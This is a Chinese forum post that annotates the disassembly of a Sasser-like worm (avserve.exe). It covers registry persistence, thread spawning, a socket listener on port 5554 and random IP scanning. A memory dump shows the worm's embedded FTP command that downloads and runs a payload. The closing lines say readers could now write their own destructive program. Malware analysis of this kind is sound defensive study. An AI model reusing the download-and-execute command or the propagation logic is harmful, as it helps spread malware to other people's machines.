0040207A |. 56 PUSH ESI
0040207B |. BE 00040000 MOV ESI,400
00402080 |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824]
00402086 |. 56 PUSH ESI ; /BufSize => 400 (1024.)
00402087 |. 50 PUSH EAX ; |PathBuffer
00402088 |. 6A 00 PUSH 0 ; |hModule = NULL
0040208A |. FF15 34504000 CALL DWORD PTR DS:[<&kernel32.GetModuleF>; /GetModuleFileNameA 得到程序句柄
00402090 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
00402096 |. 56 PUSH ESI ; /BufSize => 400 (1024.)
00402097 |. 50 PUSH EAX ; |Buffer
00402098 |. FF15 4C504000 CALL DWORD PTR DS:[<&kernel32.GetWindows>; /GetWindowsDirectoryA 得到windows安装目录
0040209E |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 堆栈中是取得的目录
004020A4 |. 50 PUSH EAX
004020A5 |. E8 96000000 CALL dumped_.00402140 这个函数干什么,没明白好像没多大作用
004020AA |. 80BC05 DBFBFFF>CMP BYTE PTR SS:[EBP+EAX-425],5C
004020B2 |. 59 POP ECX
004020B3 |. 5E POP ESI
004020B4 |. 74 13 JE SHORT dumped_.004020C9
004020B6 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020BC |. 68 B06A4000 PUSH dumped_.00406AB0
004020C1 |. 50 PUSH EAX
004020C2 |. E8 F9050000 CALL dumped_.004026C0
这里进去看看慢慢的你看见内存中
004068C8 20 69 40 00 18 69 40 00 10 69 40 00 08 69 40 00 i@.i@.i@.i@.
004068D8 00 69 40 00 F8 68 40 00 F0 68 40 00 E8 68 40 00 .i@.鴋@.餳@.鑘@.
004068E8 31 35 30 20 4F 4B 0A 00 32 30 30 20 4F 4B 0A 00 150 OK..200 OK..
004068F8 32 32 36 20 4F 4B 0A 00 32 33 30 20 4F 4B 0A 00 226 OK..230 OK..
00406908 33 33 31 20 4F 4B 0A 00 32 32 30 20 4F 4B 0A 00 331 OK..220 OK..
00406918 61 76 73 65 72 76 65 00 61 76 73 65 72 76 65 2E avserve.avserve. 程序名
00406928 65 78 65 00 65 63 68 6F 20 6F 66 66 26 65 63 68 exe.echo off&ech
00406938 6F 20 6F 70 65 6E 20 25 73 20 35 35 35 34 3E 3E o open %s 5554>>
00406948 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 61 6E 6F cmd.ftp&echo ano
00406958 6E 79 6D 6F 75 73 3E 3E 63 6D 64 2E 66 74 70 26 nymous>>cmd.ftp&
00406968 65 63 68 6F 20 75 73 65 72 26 65 63 68 6F 20 62 echo user&echo b
00406978 69 6E 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F in>>cmd.ftp&echo
00406988 20 67 65 74 20 25 69 5F 75 70 2E 65 78 65 3E 3E get %i_up.exe>>
00406998 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 62 79 65 cmd.ftp&echo bye
004069A8 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 6F >>cmd.ftp&echo o
004069B8 6E 26 66 74 70 20 2D 73 3A 63 6D 64 2E 66 74 70 n&ftp -s:cmd.ftp
004069C8 26 25 69 5F 75 70 2E 65 78 65 26 65 63 68 6F 20 &%i_up.exe&echo
004069D8 6F 66 66 26 64 65 6C 20 63 6D 64 2E 66 74 70 26 off&del cmd.ftp&
004069E8 65 63 68 6F 20 6F 6E 0A 00 00 00 00 31 32 37 2E echo on.....127.
004069F8 30 2E 30 2E 31 00 00 00 25 73 25 63 00 00 00 00 0.0.1...%s%c....
00406A08 5C 5C 25 73 5C 69 70 63 24 00 00 00 EB 06 //%s/ipc$...??
这个应该是干坏事的东西吧(估计)
004026C0 /$ 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4]
省略一部分,大家可以自己跟进
0040271C |. EB 03 JMP SHORT dumped_.00402721
0040271E |> 8D79 FC LEA EDI,DWORD PTR DS:[ECX-4]
00402721 |> 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] avserve.exe病毒的另一副本名称
00402725 |. F7C1 03000000 TEST ECX,3
省略一部分
0040279F /. C3 RETN
004020C7 |. 59 POP ECX
004020C8 |. 59 POP ECX
004020C9 |> FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; dumped_.00406920
004020CF |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020D5 |. 50 PUSH EAX
004020D6 |. E8 E5050000 CALL dumped_.004026C0
004020DB |. 807D 08 00 CMP BYTE PTR SS:[EBP+8],0
004020DF |. 59 POP ECX
004020E0 |. 59 POP ECX
004020E1 |. 74 16 JE SHORT dumped_.004020F9 这里判断你的Windows安装目录下面有没有avserve.exe文件没有下面就复制
004020E3 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020E9 |. 6A 00 PUSH 0 ; /FailIfExists = FALSE
004020EB |. 50 PUSH EAX ; |NewFileName
004020EC |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824] ; |
004020F2 |. 50 PUSH EAX ; |ExistingFileName
004020F3 |. FF15 48504000 CALL DWORD PTR DS:[<&kernel32.CopyFileA>>; /CopyFileA 自动复制
004020F9 |> 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
004020FC |. 50 PUSH EAX ; /pHandle
004020FD |. 68 806A4000 PUSH dumped_.00406A80 ; |Subkey = "SOFTWARE/Microsoft/Windows/CurrentVersion/Run"
00402102 |. 68 02000080 PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
00402107 |. FF15 04504000 CALL DWORD PTR DS:[<&advapi32.RegOpenKey>; /RegOpenKeyA 这里很明显了改你的注册表,使程序自己开机自动执行
0040210D |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
00402113 |. 50 PUSH EAX
00402114 |. E8 27000000 CALL dumped_.00402140
00402119 |. 59 POP ECX
0040211A |. 50 PUSH EAX ; /BufSize
0040211B |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] ; |
00402121 |. 50 PUSH EAX ; |Buffer
00402122 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
00402124 |. 6A 00 PUSH 0 ; |Reserved = 0
00402126 |. FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; |ValueName = "avserve.exe"
0040212C |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hKey
0040212F |. FF15 08504000 CALL DWORD PTR DS:[<&advapi32.RegSetValu>; /RegSetValueExA
00402135 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /hKey
00402138 |. FF15 0C504000 CALL DWORD PTR DS:[<&advapi32.RegCloseKe>; /RegCloseKey
0040213E |. C9 LEAVE
0040213F /. C3 RETN 这里就完了。回去下面干坏事了
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
00402003 |. 59 POP ECX
00402004 |. 59 POP ECX
00402005 |. E8 1EF0FFFF CALL dumped_.00401028
0040200A |. 33F6 XOR ESI,ESI
0040200C |. 68 746A4000 PUSH dumped_.00406A74 ; /MutexName = "Jobaka3l"
00402011 |. 56 PUSH ESI ; |InitialOwner => FALSE
00402012 |. 56 PUSH ESI ; |pSecurity => NULL
00402013 |. FF15 40504000 CALL DWORD PTR DS:[<&kernel32.CreateMute>; /CreateMutexA
创建一个信号量,目的何在?
00402019 |. FF15 3C504000 CALL DWORD PTR DS:[<&kernel32.GetLastErr>; [GetLastError
0040201F |. 3D B7000000 CMP EAX,0B7
00402024 |. 75 07 JNZ SHORT dumped_.0040202D 这里如果跳的话,病毒就要开始发威了
00402026 |. 33C0 XOR EAX,EAX
00402028 |. 5E POP ESI
00402029 |. C9 LEAVE
0040202A |. C2 1000 RETN 10
0040202D |> 53 PUSH EBX
0040202E |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
00402031 |. 57 PUSH EDI
00402032 |. 8B3D 38504000 MOV EDI,DWORD PTR DS:[<&kernel32.CreateT>; KERNEL32.CreateThread
创建线程了
00402038 |. 50 PUSH EAX ; /pThreadId
00402039 |. 56 PUSH ESI ; |CreationFlags
0040203A |. 56 PUSH ESI ; |pThreadParm
0040203B |. 68 6A1E4000 PUSH dumped_.00401E6A ; |ThreadFunction = dumped_.00401E6A 线程函数的种子函数
00402040 |. 56 PUSH ESI ; |StackSize
00402041 |. 56 PUSH ESI ; |pSecurity
00402042 |. FFD7 CALL EDI ; /CreateThread
00402044 |. BB 80000000 MOV EBX,80 循环创建0x80=128个线程
00402049 |> 8D45 F8 /LEA EAX,DWORD PTR SS:[EBP-8]
0040204C |. 50 |PUSH EAX
0040204D |. 56 |PUSH ESI
0040204E |. 56 |PUSH ESI
0040204F |. 68 F51E4000 |PUSH dumped_.00401EF5
00402054 |. 56 |PUSH ESI
00402055 |. 56 |PUSH ESI
00402056 |. FFD7 |CALL EDI
00402058 |. 4B |DEC EBX 循环创建
00402059 |.^75 EE /JNZ SHORT dumped_.00402049 到这里你不防改一下!不用它来128个了,一个就够你分析了
0040205B |. 5F POP EDI
0040205C |. 5B POP EBX
0040205D |> 56 PUSH ESI ; /MachineName
0040205E |. FF15 00504000 CALL DWORD PTR DS:[<&advapi32.AbortSyste>; /AbortSystemShutdownA 用这个函数关机。
00402064 |. 68 B80B0000 PUSH 0BB8 ; /Timeout = 3000. ms
00402069 |. FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep 睡它一会
它睡得时候好像也没消停,去线程函数那里执行去了
0040206F /.^EB EC JMP SHORT dumped_.0040205D
线程函数
00401E6A /. 55 PUSH EBP
00401E6B |. 8BEC MOV EBP,ESP
00401E6D |. 83EC 14 SUB ESP,14
00401E70 |. 56 PUSH ESI
00401E71 |. 33F6 XOR ESI,ESI
00401E73 |. 57 PUSH EDI
00401E74 |. 56 PUSH ESI ; /Protocol => IPPROTO_IP
00401E75 |. 6A 01 PUSH 1 ; |Type = SOCK_STREAM
00401E77 |. 6A 02 PUSH 2 ; |Family = AF_INET
00401E79 |. FF15 F0504000 CALL DWORD PTR DS:[<&ws2_32.socket>] ; /socket 创建socket
00401E7F |. 8BF8 MOV EDI,EAX
00401E81 |. 83FF FF CMP EDI,-1
00401E84 |. 75 08 JNZ SHORT dumped_.00401E8E
00401E86 |> 5F POP EDI
00401E87 |. 33C0 XOR EAX,EAX
00401E89 |. 5E POP ESI
00401E8A |. C9 LEAVE
00401E8B |. C2 0400 RETN 4
00401E8E |> 68 B2150000 PUSH 15B2 ; /NetShort = 15B2
00401E93 |. 66:C745 EC 020>MOV WORD PTR SS:[EBP-14],2 ; |
00401E99 |. FF15 EC504000 CALL DWORD PTR DS:[<&ws2_32.htons>] ; /ntohs 这个函数好像是做端口转换的吧,
网络编程偶不行的说
00401E9F |. 66:8945 EE MOV WORD PTR SS:[EBP-12],AX
00401EA3 |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14]
00401EA6 |. 6A 10 PUSH 10 ; /AddrLen = 10 (16.)
00401EA8 |. 50 PUSH EAX ; |pSockAddr
00401EA9 |. 57 PUSH EDI ; |Socket
00401EAA |. 8975 F0 MOV DWORD PTR SS:[EBP-10],ESI ; |
00401EAD |. FF15 18514000 CALL DWORD PTR DS:[<&ws2_32.bind>] ; /bind 绑定一个socket
00401EB3 |. 83F8 FF CMP EAX,-1
00401EB6 |. 74 0E JE SHORT dumped_.00401EC6
00401EB8 |. 6A 05 PUSH 5 ; /Backlog = 5
00401EBA |. 57 PUSH EDI ; |Socket
00401EBB |. FF15 FC504000 CALL DWORD PTR DS:[<&ws2_32.listen>] ; /listen 监听,队列长度是5
网络牛人们知道是干吗的
00401EC1 |. 83F8 FF CMP EAX,-1 这里跳到下面去 ,
00401EC4 |. 75 09 JNZ SHORT dumped_.00401ECF
00401EC6 |> 57 PUSH EDI ; /Socket
00401EC7 |. FF15 00514000 CALL DWORD PTR DS:[<&ws2_32.closesocket>>; /closesocket 关闭socket
干完坏事,还没忘这个!
00401ECD |.^EB B7 JMP SHORT dumped_.00401E86
从上面跳到下面
00401ECF |> 56 /PUSH ESI ; /pAddrLen
00401ED0 |. 56 |PUSH ESI ; |pSockAddr
00401ED1 |. 57 |PUSH EDI ; |Socket
00401ED2 |. FF15 E4504000 |CALL DWORD PTR DS:[<&ws2_32.accept>] ; /accept 接受连接吧这里应该忘了
程序到了这里,不动了,没法向下调试了,因为我没找到目标
不过往下看看就知道了,应该是产生IP地址并试图攻击。具体怎么作我不分析了。说多了不好。
00401ED8 |. 8D4D FC |LEA ECX,DWORD PTR SS:[EBP-4]
00401EDB |. 51 |PUSH ECX ; /pThreadId
00401EDC |. 56 |PUSH ESI ; |CreationFlags
00401EDD |. 50 |PUSH EAX ; |pThreadParm
00401EDE |. 68 031B4000 |PUSH dumped_.00401B03 ; |ThreadFunction = dumped_.00401B03
00401EE3 |. 56 |PUSH ESI ; |StackSize
00401EE4 |. 56 |PUSH ESI ; |pSecurity
00401EE5 |. FF15 38504000 |CALL DWORD PTR DS:[<&kernel32.CreateThr>; /CreateThread
00401EEB |. 6A 19 |PUSH 19 ; /Timeout = 25. ms
00401EED |. FF15 1C504000 |CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep
00401EF3 /.^EB DA /JMP SHORT dumped_.00401ECF
00401EF5 . 83EC 54 SUB ESP,54
00401EF8 . 53 PUSH EBX
00401EF9 . 55 PUSH EBP
00401EFA . 8B2D DC504000 MOV EBP,DWORD PTR DS:[<&user32.wsprintfA>; user32.wsprintfA
这里再省略一部分
00401FBB . 8BCE MOV ECX,ESI
00401FBD . F7F9 IDIV ECX
00401FBF . 52 PUSH EDX
00401FC0 > 8D4424 20 LEA EAX,DWORD PTR SS:[ESP+20]
00401FC4 . 68 4C6A4000 PUSH dumped_.00406A4C ; ASCII "%i.%i.%i.%i"
IP地址的格式哟
00401FC9 . 50 PUSH EAX
00401FCA . FFD5 CALL EBP
00401FCC . 83C4 18 ADD ESP,18
00401FCF . 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
00401FD3 . 50 PUSH EAX
00401FD4 . E8 39FAFFFF CALL dumped_.00401A12
00401FD9 . 59 POP ECX
00401FDA . 68 FA000000 PUSH 0FA ; /Timeout = 250. ms
00401FDF . FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep
这么快就干坏事
00401FE5 .^E9 1DFFFFFF JMP dumped_.00401F07
--------------------------------------------------------------------------------
至此,分析完毕!至于病毒如何利用漏洞来实现shell的,本人水平有限和一些原因不分析了,有兴趣的自己研究
最后申明,到这里大家自己写一个破坏系统的程序已经足够了!不过由此引发的后果本人不负责任!
写完感觉有点班门弄斧之闲!不过毕竟是我第一次分析病毒,愿和大家共享!病毒原来如此简单!
转载请保持完整性!
http://bbs.pediy.com/showthread.php?s=a0b9f4c265d2aed622acf3c42ac92e9f&threadid=397